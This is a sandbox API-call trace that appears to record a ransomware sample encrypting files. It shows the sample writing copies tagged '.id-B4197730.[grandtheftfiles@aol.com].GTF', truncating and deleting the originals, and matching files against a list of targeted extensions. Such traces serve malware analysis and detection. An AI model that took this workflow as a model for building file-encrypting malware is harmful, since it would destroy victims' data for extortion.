	[0062.554] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0062.556] GetLastError () returned 0x0
	[0062.556] ReadFile (in: hFile=0x2f8, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x13c4a, lpOverlapped=0x0) returned 1
	[0062.602] WriteFile (in: hFile=0x2c0, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x13c50, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x13c50, lpOverlapped=0x0) returned 1
	[0062.604] ReadFile (in: hFile=0x2f8, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.604] WriteFile (in: hFile=0x2c0, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0062.604] SetEndOfFile (hFile=0x2c0) returned 1
	[0062.605] CloseHandle (hObject=0x2c0) returned 1
	[0062.607] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.607] SetEndOfFile (hFile=0x2f8) returned 1
	[0062.608] CloseHandle (hObject=0x2f8) returned 1
	[0062.609] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0062.609] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 1
	[0062.609] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0062.609] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0062.609] lstrlenW (lpString=".doc") returned 4
	[0062.609] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0062.609] lstrlenW (lpString=".docx") returned 5
	[0062.609] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0062.609] lstrlenW (lpString=".pdf") returned 4
	[0062.609] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0062.609] lstrlenW (lpString=".xls") returned 4
	[0062.610] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0062.610] lstrlenW (lpString=".xlsx") returned 5
	[0062.610] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0062.610] lstrlenW (lpString=".ppt") returned 4
	[0062.610] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0062.610] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0062.610] lstrlenW (lpString=".zip") returned 4
	[0062.610] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0062.610] lstrlenW (lpString=".rar") returned 4
	[0062.610] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0062.610] lstrlenW (lpString=".bz2") returned 4
	[0062.610] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0062.610] lstrlenW (lpString=".7z") returned 3
	[0062.610] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0062.610] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0062.610] lstrlenW (lpString=".dbf") returned 4
	[0062.610] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0062.610] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0062.610] lstrlenW (lpString=".1cd") returned 4
	[0062.610] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0062.610] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0062.610] lstrlenW (lpString=".jpg") returned 4
	[0062.610] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0062.610] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0062.610] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0062.610] lstrlenW (lpString=".doc") returned 4
	[0062.610] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0062.610] lstrlenW (lpString=".docx") returned 5
	[0062.611] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0062.611] lstrlenW (lpString=".pdf") returned 4
	[0062.611] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0062.611] lstrlenW (lpString=".xls") returned 4
	[0062.611] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0062.611] lstrlenW (lpString=".xlsx") returned 5
	[0062.611] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0062.611] lstrlenW (lpString=".ppt") returned 4
	[0062.611] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0062.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0062.611] lstrlenW (lpString=".zip") returned 4
	[0062.611] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0062.611] lstrlenW (lpString=".rar") returned 4
	[0062.611] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0062.611] lstrlenW (lpString=".bz2") returned 4
	[0062.611] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0062.611] lstrlenW (lpString=".7z") returned 3
	[0062.611] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0062.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0062.611] lstrlenW (lpString=".dbf") returned 4
	[0062.611] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0062.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0062.611] lstrlenW (lpString=".1cd") returned 4
	[0062.611] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0062.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0062.611] lstrlenW (lpString=".jpg") returned 4
	[0062.611] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0062.611] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0062.611] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0062.611] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0062.629] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=77748) returned 1
	[0062.629] CloseHandle (hObject=0x2fc) returned 1
	[0062.629] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 0x80
	[0062.629] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0062.629] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0062.629] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.629] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.629] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0062.630] GetLastError () returned 0x0
	[0062.630] ReadFile (in: hFile=0x2fc, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x12fb4, lpOverlapped=0x0) returned 1
	[0064.384] WriteFile (in: hFile=0x2f8, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x12fc0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x12fc0, lpOverlapped=0x0) returned 1
	[0064.386] ReadFile (in: hFile=0x2fc, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0064.386] WriteFile (in: hFile=0x2f8, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0064.386] SetEndOfFile (hFile=0x2f8) returned 1
	[0064.386] CloseHandle (hObject=0x2f8) returned 1
	[0064.389] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0064.389] SetEndOfFile (hFile=0x2fc) returned 1
	[0064.390] CloseHandle (hObject=0x2fc) returned 1
	[0064.391] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0064.391] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 1
	[0064.391] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0064.391] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0064.391] lstrlenW (lpString=".doc") returned 4
	[0064.391] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0064.391] lstrlenW (lpString=".docx") returned 5
	[0064.391] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0064.391] lstrlenW (lpString=".pdf") returned 4
	[0064.391] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0064.391] lstrlenW (lpString=".xls") returned 4
	[0064.391] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0064.391] lstrlenW (lpString=".xlsx") returned 5
	[0064.391] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0064.391] lstrlenW (lpString=".ppt") returned 4
	[0064.392] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0064.392] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0064.392] lstrlenW (lpString=".zip") returned 4
	[0064.392] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0064.392] lstrlenW (lpString=".rar") returned 4
	[0064.392] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0064.392] lstrlenW (lpString=".bz2") returned 4
	[0064.392] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0064.392] lstrlenW (lpString=".7z") returned 3
	[0064.392] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0064.392] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0064.392] lstrlenW (lpString=".dbf") returned 4
	[0064.392] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0064.392] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0064.392] lstrlenW (lpString=".1cd") returned 4
	[0064.392] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0064.392] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0064.392] lstrlenW (lpString=".jpg") returned 4
	[0064.392] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0064.392] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0064.392] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0064.392] lstrlenW (lpString=".doc") returned 4
	[0064.392] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0064.392] lstrlenW (lpString=".docx") returned 5
	[0064.392] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0064.392] lstrlenW (lpString=".pdf") returned 4
	[0064.392] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0064.392] lstrlenW (lpString=".xls") returned 4
	[0064.392] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0064.392] lstrlenW (lpString=".xlsx") returned 5
	[0064.392] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0064.392] lstrlenW (lpString=".ppt") returned 4
	[0064.392] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0064.392] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0064.392] lstrlenW (lpString=".zip") returned 4
	[0064.392] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0064.392] lstrlenW (lpString=".rar") returned 4
	[0064.392] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0064.392] lstrlenW (lpString=".bz2") returned 4
	[0064.393] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0064.393] lstrlenW (lpString=".7z") returned 3
	[0064.393] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0064.393] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0064.393] lstrlenW (lpString=".dbf") returned 4
	[0064.393] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0064.393] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0064.393] lstrlenW (lpString=".1cd") returned 4
	[0064.393] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0064.393] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0064.393] lstrlenW (lpString=".jpg") returned 4
	[0064.393] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0064.393] lstrcmpiW (lpString1=".rtf", lpString2=".GTF") returned 1
	[0064.393] lstrlenW (lpString="eula.rtf") returned 8
	[0064.393] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0064.417] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=8876) returned 1
	[0064.417] CloseHandle (hObject=0x2d4) returned 1
	[0064.417] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 0x80
	[0064.417] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0065.293] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0065.293] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.293] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.293] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0065.301] GetLastError () returned 0x0
	[0065.301] ReadFile (in: hFile=0x304, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x22ac, lpOverlapped=0x0) returned 1
	[0066.166] WriteFile (in: hFile=0x310, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x22b0, lpOverlapped=0x0) returned 1
	[0066.167] ReadFile (in: hFile=0x304, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.167] WriteFile (in: hFile=0x310, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0066.167] SetEndOfFile (hFile=0x310) returned 1
	[0066.167] CloseHandle (hObject=0x310) returned 1
	[0066.169] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.169] SetEndOfFile (hFile=0x304) returned 1
	[0066.170] CloseHandle (hObject=0x304) returned 1
	[0066.170] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0066.170] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 1
	[0066.170] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0066.170] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0066.170] lstrlenW (lpString=".doc") returned 4
	[0066.170] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0066.170] lstrlenW (lpString=".docx") returned 5
	[0066.170] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0066.170] lstrlenW (lpString=".pdf") returned 4
	[0066.170] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0066.171] lstrlenW (lpString=".xls") returned 4
	[0066.171] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0066.171] lstrlenW (lpString=".xlsx") returned 5
	[0066.171] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0066.171] lstrlenW (lpString=".ppt") returned 4
	[0066.171] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0066.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0066.171] lstrlenW (lpString=".zip") returned 4
	[0066.171] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0066.171] lstrlenW (lpString=".rar") returned 4
	[0066.171] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0066.171] lstrlenW (lpString=".bz2") returned 4
	[0066.171] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0066.171] lstrlenW (lpString=".7z") returned 3
	[0066.171] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0066.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0066.171] lstrlenW (lpString=".dbf") returned 4
	[0066.171] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0066.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0066.171] lstrlenW (lpString=".1cd") returned 4
	[0066.171] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0066.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0066.171] lstrlenW (lpString=".jpg") returned 4
	[0066.171] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0066.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0066.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0066.171] lstrlenW (lpString=".doc") returned 4
	[0066.171] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0066.171] lstrlenW (lpString=".docx") returned 5
	[0066.171] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0066.171] lstrlenW (lpString=".pdf") returned 4
	[0066.171] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0066.171] lstrlenW (lpString=".xls") returned 4
	[0066.171] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0066.171] lstrlenW (lpString=".xlsx") returned 5
	[0066.171] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0066.172] lstrlenW (lpString=".ppt") returned 4
	[0066.172] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0066.172] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0066.172] lstrlenW (lpString=".zip") returned 4
	[0066.172] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0066.172] lstrlenW (lpString=".rar") returned 4
	[0066.172] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0066.172] lstrlenW (lpString=".bz2") returned 4
	[0066.172] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0066.172] lstrlenW (lpString=".7z") returned 3
	[0066.172] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0066.172] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0066.172] lstrlenW (lpString=".dbf") returned 4
	[0066.172] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0066.172] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0066.172] lstrlenW (lpString=".1cd") returned 4
	[0066.172] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0066.172] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0066.172] lstrlenW (lpString=".jpg") returned 4
	[0066.172] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0066.172] lstrcmpiW (lpString1=".rtf", lpString2=".GTF") returned 1
	[0066.172] lstrlenW (lpString="eula.rtf") returned 8
	[0066.172] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0066.172] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=3526) returned 1
	[0066.172] CloseHandle (hObject=0x304) returned 1
	[0066.173] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 0x80
	[0066.173] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0066.173] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0066.173] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.173] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.173] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0066.197] GetLastError () returned 0x0
	[0066.197] ReadFile (in: hFile=0x304, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0xdc6, lpOverlapped=0x0) returned 1
	[0066.238] WriteFile (in: hFile=0x320, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xdd0, lpOverlapped=0x0) returned 1
	[0066.239] ReadFile (in: hFile=0x304, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.239] WriteFile (in: hFile=0x320, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0066.239] SetEndOfFile (hFile=0x320) returned 1
	[0066.240] CloseHandle (hObject=0x320) returned 1
	[0066.241] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.241] SetEndOfFile (hFile=0x304) returned 1
	[0066.242] CloseHandle (hObject=0x304) returned 1
